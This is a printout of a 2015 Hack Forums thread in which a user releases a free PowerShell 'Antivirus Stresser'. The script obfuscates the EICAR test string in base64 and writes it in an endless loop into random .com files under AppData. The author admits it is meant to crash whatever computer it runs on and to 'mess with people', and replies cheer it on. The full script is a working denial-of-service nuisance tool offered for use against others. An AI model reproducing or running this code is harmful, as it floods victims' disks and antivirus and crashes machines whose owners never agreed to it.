[Source][Release][Free]Antivirus Stresser ~ turn their defences against them

[Source][Release][Free]Antivirus Stresser ~ turn their defences against them - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Hacking Tools and Programs (https://hackforums.net/forumdisplay.php?fid=10)
+---- Thread: [Source][Release][Free]Antivirus Stresser ~ turn their defences against them (/showthread.php?tid=4818481)

Pages: Pages 1 2

[Source][Release][Free]Antivirus Stresser ~ turn their defences against them - LogoiLab - May 12, 2015

Just wanted to share a small script I wrote that is used to test whether or not an antivirus program can withstand heavy load(bulk rapid spreading of a malicious program).

THIS PROGRAM IS NOT A VIRUS(If you don't believe me review the code yourself, its on GitHub, link is at the bottom)

This script creates multiple files in the "AppData" directory of Windows(in rapid succession)that contain the "Eicar Antivirus Test String"(this special string triggers almost all antivirus programs scoring a 48/53 on virustotal). A link to the Eicar Test String is here:

http://www.eicar.org/86-0-Intended-use.html

This program qualifies as a "Stresser" as it spams the antivirus with a possibly overloading amount of false positives.

Here is a link to the GitHub repo of my script:

https://github.com/LogoiLab/AV-Stresser/

Also, here is a copy of the source code from GitHub for your reading pleasure:

Code 
$raw = 'X;5;O;!;P;%;@;A;P;[;4;\;P;Z;X;5;4;(;P;^;);7;C;C;);7;};$;E;I;C;A;R;-;S;T;A;N;D;A;R;D;-;A;N;T;I;V;I;R;U;S;-;T;E;S;T;-;F;I;L;E;!;$;H;+;H;*;' #";" delimit

$base64 = 'WAA1AE8AIQBQACUAQABBAFAAWwA0AFwAUABaAFgANQA0ACgAUABeACkANwBDAEMAKQA3AH0AJABFAEk​AQwBBAFIALQBTAFQAQQBOAEQAQQBSAEQALQBBAE4AVABJAFYASQBSAFUAUwAtAFQARQBTAFQALQBGAEk​ATABFACEAJABIACsASAAqAA=='

$code = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($base64));

while($true){

$rand = Get-Random

New-Item "$env:APPDATA\$rand.com" -Type File -Force | Out-Null

Set-Content "$env:APPDATA\$rand.com" -Value $code -Force | Out-Null

}

This script was written in PowerShell.

If you enjoyed, please donate so I can keep these things coming!

Donate BTC: 12XR6NFj7HpiYc1SwPLmZAcf5nEGgKip7N

* - bongchilla - May 13, 2015

I like the idea . Well done

* - Syracusia - May 13, 2015

This only crashes your own computer, it won't send these results to the AV servers.

They only send new heuristics.

* - LogoiLab - May 13, 2015

yes it is used to crash a computer it is deployed on

* - xXGodXx - May 13, 2015

Very nice...
thx for share!

* - Cudds - May 13, 2015

nice bro, ill try it out ;)

* - LogoiLab - May 19, 2015

Thanks! Enjoy guys! 🤝

* - Comedic - May 19, 2015

Looks interesting, thanks for the share.

* - LogoiLab - Jun 15, 2015

You're welcome, enjoy messing with people

* - Electriuc - Jun 16, 2015

Very nice idea, quite new as well, thanks!

* - DocSplode - Jun 17, 2015

well done man, freeware is niceware!

* - LogoiLab - Jun 19, 2015

You guys have fun! Thanks for the vouches!

* - marshman1113 - Jun 19, 2015

neat piece of code. cheers

* - LogoiLab - Jun 20, 2015

Thanks for the vouch! Enjoy!

* - pixelinfintie - Jun 20, 2015

Thanks bro I might use this.